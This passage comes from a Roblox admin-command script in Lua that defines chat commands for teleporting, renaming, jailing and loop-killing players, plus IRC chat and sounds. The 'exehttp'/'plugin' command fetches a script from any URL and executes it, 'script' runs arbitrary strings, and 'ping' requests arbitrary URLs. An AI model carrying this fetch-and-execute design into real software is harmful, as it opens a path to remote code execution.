  5385. end};
  5386.  
  5387. [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
  5388. local Players = STRING:Scan(Arguments[1], Speaker)
  5389. local AgeList = {}
  5390. for _,Player in pairs(Players) do
  5391. table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
  5392. end
  5393. local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
  5394. for _,Player in pairs(SecondPlayers) do
  5395. GUI:ListGui(Player, "Player Ages", AgeList, "Time")
  5396. end
  5397. end};
  5398.  
  5399. [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  5400. local Storage = {{}, {}, {}, {}}
  5401. local StorageText = {}
  5402. local Formatted = {}
  5403. for CommandNames,Data in pairs(Commands) do
  5404. if not Data.Hidden then
  5405. local RankNeeded = RANK:ConvertRank(Data[4])
  5406. local Add = ""
  5407. if Data[4] == "Non-Admin" then Add = "BLACK " end
  5408. if Data[4] == "Admin" then Add = "CYAN " end
  5409. if Data[4] == "Member" then Add = "BLUE " end
  5410. if Data[4] == "Owner" then Add = "BROWN " end
  5411. if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
  5412. local AddBet = Settings.Bet
  5413. if Data[3] <= 0 then AddBet = "" end -- for commands with no args
  5414. local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
  5415. table.insert(Storage[RankNeeded + 1], Add..Text)
  5416. StorageText[Text] = CommandNames
  5417. end
  5418. end
  5419. for Num,_ in pairs(Storage) do
  5420. table.sort(Storage[Num])
  5421. end
  5422. for _,Table in pairs(Storage) do
  5423. for _,Command in pairs(Table) do
  5424. table.insert(Formatted, Command)
  5425. end
  5426. end
  5427. local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
  5428. Clicked.Event:connect(function(Text)
  5429. GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
  5430. end)
  5431. end};
  5432.  
  5433. [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
  5434. GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
  5435. end};
  5436.  
  5437. [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5438. if GUI:GetColor(Arguments[1]) then
  5439. local ColorScheme = string.upper(Arguments[1])
  5440. if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
  5441. Settings.ColorScheme = ColorScheme
  5442. GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
  5443. else
  5444. GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
  5445. end
  5446. end};
  5447.  
  5448. [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
  5449. local List = {}
  5450. for Color,_ in pairs(Colors) do
  5451. table.insert(List, Color.." "..Color)
  5452. end
  5453. GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
  5454. end};
  5455.  
  5456. [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5457. local Transparency = tonumber(Arguments[1])
  5458. if Transparency then
  5459. if Transparency > 90 then Transparency = 90 end
  5460. if Transparency < 10 then Transparency = 10 end
  5461. Settings.TransparencyScheme = Transparency/100
  5462.  
  5463. GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
  5464. else
  5465. GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
  5466. end
  5467. end};
  5468.  
  5469. [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5470. if Fonts[Arguments[1]] then
  5471. Settings.Font = Arguments[1]
  5472. GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
  5473. end
  5474. end};
  5475.  
  5476. [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5477. Settings.Fun = not Settings.Fun
  5478. GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
  5479. end};
  5480.  
  5481. [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5482. Settings.DisableAbuse = not Settings.DisableAbuse
  5483. GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
  5484. end};
  5485.  
  5486. [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
  5487. local List = {}
  5488. for Font,_ in pairs(Fonts) do
  5489. if Font == Settings.Font then
  5490. table.insert(List, Font.." "..Font.." (CURRENT FONT)")
  5491. else
  5492. table.insert(List, Font.." "..Font)
  5493. end
  5494. end
  5495. GUI:ListGui(Speaker, "Font list", List, 44453197)
  5496. end};
  5497.  
  5498. [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5499. local SoundID = tonumber(Arguments[1])
  5500. if SoundID then
  5501. Settings.ExecuteNotificationSound = SoundID
  5502.  
  5503. GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
  5504. else
  5505. GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
  5506. end
  5507. end};
  5508.  
  5509. [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5510. Settings.ExecuteNotificationSound = 0
  5511. end};
  5512.  
  5513. [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
  5514. local Players = STRING:Scan(Arguments[1], Speaker)
  5515. for _,Player in pairs(Players) do
  5516. CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
  5517. end
  5518. end};
  5519.  
  5520. [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
  5521. local Players = STRING:Scan(Arguments[1], Speaker)
  5522. for _,Player in pairs(Players) do
  5523. CORE:ChangeCharacter(Player, 13416513, false, Speaker)
  5524. end
  5525. end};
  5526.  
  5527. [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
  5528. local Players = STRING:Scan(Arguments[1], Speaker)
  5529. for _,Player in pairs(Players) do
  5530. coroutine.wrap(function()
  5531. CORE:ChangeCharacter(Player, 38837082, false, Speaker)
  5532. wait(1)
  5533. GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
  5534. end)()
  5535. end
  5536. end, Hidden = true};
  5537.  
  5538. [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
  5539. local Players = STRING:Scan(Arguments[1], Speaker)
  5540. for _,Player in pairs(Players) do
  5541. CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
  5542. end
  5543. end};
  5544.  
  5545. [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
  5546. local Players = STRING:Scan(Arguments[1], Speaker)
  5547. for _,Player in pairs(Players) do
  5548. CORE:ChangeName(Player, Arguments[2])
  5549. end
  5550. end};
  5551.  
  5552. [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
  5553. local Players = STRING:Scan(Arguments[1], Speaker)
  5554. for _,Player in pairs(Players) do
  5555. if Player.Character then
  5556. local Head = Player.Character:FindFirstChild("Label")
  5557. if Head then Head:Destroy() end
  5558. local Head = Player.Character:FindFirstChild("Head")
  5559. if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
  5560. end
  5561. end
  5562. end};
  5563.  
  5564. [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
  5565. local Players = STRING:Scan(Arguments[1], Speaker)
  5566. for _,Player in pairs(Players) do
  5567. CORE:ChangeCharacter(Player, 11397, false, Speaker)
  5568. end
  5569. end};
  5570.  
  5571. [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
  5572. local Players = STRING:Scan(Arguments[1], Speaker)
  5573. for _,Player in pairs(Players) do
  5574. local _,RankNum = RANK:GetRank(Player)
  5575. if RankNum <= RANK:ConvertRank(Rank) then
  5576. Server.TS:Teleport(Arguments[2], Player)
  5577. end
  5578. end
  5579. end};
  5580.  
  5581. [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
  5582. local Players = STRING:Scan(Arguments[1], Speaker)
  5583. local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
  5584. if Suc then
  5585. for _,Player in pairs(Players) do
  5586. Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
  5587. end
  5588. else
  5589. GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
  5590. end
  5591. end};
  5592.  
  5593. [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
  5594. local Players = STRING:Scan(Arguments[1], Speaker)
  5595. MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
  5596. local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
  5597. if Suc then
  5598. for _,Player in pairs(Players) do
  5599. Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
  5600. end
  5601. else
  5602. GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
  5603. end
  5604. end)
  5605. end};
  5606.  
  5607. [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
  5608. local Players = STRING:Scan(Arguments[1], Speaker)
  5609. for _,Player in pairs(Players) do
  5610. local _,RankNum = RANK:GetRank(Player)
  5611. if RankNum < RANK:ConvertRank(Rank) then
  5612. Server.TS:Teleport(155307015, Player)
  5613. end
  5614. end
  5615. end};
  5616.  
  5617. [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
  5618. local Players = STRING:Scan(Arguments[1], Speaker)
  5619. for _,Player in pairs(Players) do
  5620. local _,RankNum = RANK:GetRank(Player)
  5621. if RankNum < RANK:ConvertRank(Rank) then
  5622. Server.TS:Teleport(347911447, Player)
  5623. end
  5624. end
  5625. end};
  5626.  
  5627. [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5628. local Players = STRING:Scan(Arguments[1], Speaker)
  5629. for _,Player in pairs(Players) do
  5630. CORE:GenerateShield(Player)
  5631. end
  5632. end};
  5633.  
  5634. [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5635. local Players = STRING:Scan(Arguments[1], Speaker)
  5636. for _,Player in pairs(Players) do
  5637. if Player.Character then
  5638. local Shield = Player.Character:FindFirstChild("Shield")
  5639. if Shield then Shield:Destroy() end
  5640. end
  5641. end
  5642. end};
  5643.  
  5644. [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
  5645. local Num = tonumber(Arguments[1])
  5646. if Num and Num ~= 0 then
  5647. local Random = math.random(1,math.abs(Num))
  5648. if Random == math.random(1,math.abs(Num)) then
  5649. GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
  5650. else
  5651. GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
  5652. end
  5653. else
  5654. GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
  5655. end
  5656. end};
  5657.  
  5658. [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5659. IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
  5660. IRC:AddChat(Speaker.Name, Arguments[1])
  5661. end};
  5662.  
  5663. --[[
  5664. [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5665. local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
  5666. if Res then
  5667. GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
  5668. end
  5669. end, Http = true};
  5670.  
  5671. [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5672. local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
  5673. if Res then
  5674. GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
  5675. end
  5676. end}, Http = true;
  5677. ]]
  5678.  
  5679. [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5680. IRC:Quit("Reconnecting")
  5681. IRC:ConnectToServer(Settings.IRCServer)
  5682. end};
  5683.  
  5684. [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5685. local Players = STRING:Scan(Arguments[1], Speaker)
  5686. for _,Player in pairs(Players) do
  5687. local PreAdd = {}
  5688. for _,Data in pairs(IRC.Chats) do
  5689. local Error = nil
  5690. if Rank == "Owner" then Error = Data[3] end
  5691. table.insert(PreAdd, {Data[1], Data[2], Error})
  5692. end
  5693. local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
  5694. IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
  5695. if Rank ~= "Owner" then Error = nil end
  5696. AddMessage:Invoke(UserName, Message, Error)
  5697. end)
  5698. SendPressed.Event:connect(function(Text)
  5699. IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
  5700. IRC:AddChat(Player.Name, Text)
  5701. end)
  5702. end
  5703. end};
  5704.  
  5705. [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5706. local Players = STRING:Scan(Arguments[1], Speaker)
  5707. for _,Player in pairs(Players) do
  5708. local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
  5709. if Type == "Leave" then
  5710. PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
  5711. elseif Type == "Join" then
  5712. PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
  5713. end
  5714. end)
  5715. PriChat.Chatted.Event:connect(function(UserName, Message)
  5716. AddMessage:Invoke(UserName, Message)
  5717. end)
  5718. SendPressed.Event:connect(function(Text)
  5719. PriChat.Chatted:Fire(Player.Name, Text)
  5720. table.insert(PriChat.Chats, {Player.Name, Text})
  5721. end)
  5722. end
  5723. end};
  5724.  
  5725. [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5726. ExecuteSafe(Arguments[1], Speaker)
  5727. end};
  5728.  
  5729. [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5730. local Script = REMOTE:GetURL(Arguments[1], Player)
  5731. if Script then
  5732. ExecuteSafe(Script, Speaker)
  5733. end
  5734. end, Http = true};
  5735.  
  5736. [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
  5737. local Time = tick()
  5738. local Res = REMOTE:GetURL(Arguments[1], Player)
  5739. if Res then
  5740. GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
  5741. end
  5742. end, Http = true};
  5743.  
  5744. [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5745. CORE:RemoveAdmin(Speaker)
  5746. end};
  5747.  
  5748. [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
  5749. for _,Player in pairs(Server.Players:GetPlayers()) do
  5750. GUI:SendHint(Player, Arguments[1], nil, Speaker)
  5751. end
  5752. end};
  5753.  
  5754. [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5755. local Players = STRING:Scan(Arguments[1], Speaker)
  5756. local Debt = nil
  5757. for _,Player in pairs(Players) do
  5758. if not Debt then
  5759. Debt = GUI:ShowDebtStats(Player)
  5760. else
  5761. GUI:ShowDebtStats(Player, Debt)
  5762. end
  5763. end
  5764. end, Http = true};
  5765.  
  5766. [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5767. local Players = STRING:Scan(Arguments[1], Speaker)
  5768. for _,Player in pairs(Players) do
  5769. GUI:CreateHUD(Player)
  5770. end
  5771. end};
  5772.  
  5773. [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5774. local Players = STRING:Scan(Arguments[1], Speaker)
  5775. for _,Player in pairs(Players) do
  5776. if Player:FindFirstChild("PlayerGui") then
  5777. local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
  5778. if HUD then HUD:Destroy() end
  5779. end
  5780. end
  5781. end};
  5782.  
  5783. [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
  5784. local Players = STRING:Scan(Arguments[1], Speaker)
  5785. GUI:Vote(Speaker, Players, Arguments[2], 30)
  5786. end};
  5787.  
  5788. [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
  5789. local Players = STRING:Scan(Arguments[1], Speaker)
  5790. for _,Player in pairs(Players) do
  5791. CORE:ExecuteResource("Bomb", Player.Character)
  5792. end
  5793. end};
  5794.  
  5795. [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
  5796. local Players = STRING:Scan(Arguments[1], Speaker)
  5797. for _,Player in pairs(Players) do
  5798. CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
  5799. CORE:RestoreCamera(Player)
  5800. end
  5801. end};
  5802.  
  5803. [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
  5804. CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
  5805. CORE:RestoreCamera(Speaker)
  5806. end};
  5807.  
  5808. [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
  5809. local Players1 = STRING:Scan(Arguments[1], Speaker)
  5810. local Players2 = STRING:Scan(Arguments[2], Speaker)
  5811. for _,Player1 in pairs(Players1) do
  5812. if Player1.Character and Player1.Character:FindFirstChild("Torso") then
  5813. for _,Player2 in pairs(Players2) do
  5814. if Player2.Character and Player2.Character:FindFirstChild("Torso") then
  5815. Player1.Character:MoveTo(Player2.Character.Torso.Position)
  5816. end
  5817. end
  5818. end
  5819. end
  5820. end};
  5821.  
  5822. [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5823. local Players = STRING:Scan(Arguments[1], Speaker)
  5824. for _,Player in pairs(Players) do
  5825. Player:LoadCharacter()
  5826. end
  5827. end};
  5828.  
  5829. [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
  5830. local Players = STRING:Scan(Arguments[1], Speaker)
  5831. for _,Player in pairs(Players) do
  5832. CORE:RestoreCamera(Player)
  5833. end
  5834. end};
  5835.  
  5836. [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5837. local Players = STRING:Scan(Arguments[1], Speaker)
  5838. for _,Player in pairs(Players) do
  5839. CORE:Jail(Player)
  5840. end
  5841. end};
  5842.  
  5843. [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5844. local Players = STRING:Scan(Arguments[1], Speaker)
  5845. for _,Player in pairs(Players) do
  5846. CORE:UnJail(Player)
  5847. end
  5848. end};
  5849.  
  5850. [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
  5851. SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
  5852. end};
  5853.  
  5854. [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
  5855. SOUND:StopSpeaking()
  5856. end};
  5857.  
  5858. [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
  5859. local Players = STRING:Scan(Arguments[1], Speaker)
  5860. local Compile = {}
  5861. for Num,Player in pairs(Players) do
  5862. local PlayerRank = RANK:GetRank(Player)
  5863. local PlayerInfo = ClientInfo[Player.Name]
  5864. table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
  5865. table.insert(Compile, "User ID: "..Player.UserId)
  5866. table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
  5867. table.insert(Compile, "Rank: "..PlayerRank)
  5868.  
  5869. if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
  5870. if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
  5871. if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
  5872. if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
  5873. if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
  5874. if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
  5875. if PlayerInfo.Benchmark then
  5876. table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
  5877. end
  5878. if Num ~= #Players then table.insert(Compile, "-----------------------------") end
  5879. end
  5880. GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
  5881. end};
  5882.  
  5883. [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
  5884. if tonumber(Arguments[2]) then
  5885. local Players = STRING:Scan(Arguments[1], Speaker)
  5886. for _,Player in pairs(Players) do
  5887. coroutine.wrap(function()
  5888. if Player.Character then
  5889. table.insert(LoopKills, Player.Name)
  5890. local Loop = nil
  5891. local PrevChar = nil
  5892.  
  5893. for i = 1,tonumber(Arguments[2]) do
  5894. local Char = Player.Character
  5895. if PrevChar and PrevChar ~= Char then
  5896. PrevChar:Destroy()
  5897. end
  5898. PrevChar = Char
  5899. local CanDie = true
  5900. for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
  5901. if CanDie == false then
  5902. break
  5903. end
  5904. ypcall(function() Char.Parent = Server.Lighting end)
  5905. wait(0.1)
  5906. ypcall(function() Char.Parent = Server.Workspace end)
  5907. wait(0.1)
  5908. end
  5909. end
  5910. end)()
  5911. end
  5912. else
  5913. GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
  5914. end
  5915. end};
  5916.  
  5917. [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5918. local Players = STRING:Scan(Arguments[1], Speaker)
  5919. for _,Player in pairs(Players) do
  5920. for Num,Name in pairs(LoopKills) do
  5921. if Player.Name == Name then
  5922. table.remove(LoopKills, Num)
  5923. end
  5924. end
  5925. end
  5926. end};
  5927.  
  5928. [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
  5929. SOUND:PlayGlobalSound(Arguments[1])
  5930. end};
  5931.  
  5932. [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
  5933. SOUND:StopGlobalSound()
  5934. SOUND:ClearInfo()
  5935. end};
  5936.  
  5937. [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
  5938. local Pitch = tonumber(Arguments[1])
  5939. if not Pitch then Pitch = 1 end
  5940. if Sound then
  5941. Sound.Pitch = Pitch
  5942. end
  5943. end};
  5944.  
  5945. [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
  5946. local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
  5947. local Items = MARKET:SearchItem(9, Arguments[1])
  5948. if Items then
  5949. if #Items ~= 0 then
  5950. local List,Correlate = {},{}
  5951. for Num,Info in pairs(Items) do
  5952. local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
  5953. table.insert(List, Display)
  5954. Correlate[Display] = Info.AssetId
  5955. end
  5956. CloseGui:Invoke()
  5957.  
  5958. local CanClick = true
  5959. if Rank == "Member" then CanClick = false end
  5960. local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
  5961. Clicked.Event:connect(function(ClickName)
  5962. local OldSoundId = nil
  5963. SOUND:StopGlobalSound()
  5964. if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
  5965. SOUND:PlayGlobalSound(Correlate[ClickName])
  5966. end
  5967. end)
  5968. else
  5969. CloseGui:Invoke()
  5970. GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
  5971. end
  5972. else
  5973. CloseGui:Invoke()
  5974. GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
  5975. end
  5976. end, Http = true};
  5977.  
  5978. [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
  5979. local Players = STRING:Scan(Arguments[1], Speaker)
  5980. for _,Player in pairs(Players) do
  5981. if Player.Character then
  5982. CORE:ExecuteResource("Gun", Player.Character)
  5983. end
  5984. end
  5985. end};
  5986.  
  5987. [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
  5988. local Players = STRING:Scan(Arguments[1], Speaker)
  5989. for _,Player in pairs(Players) do
  5990. if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
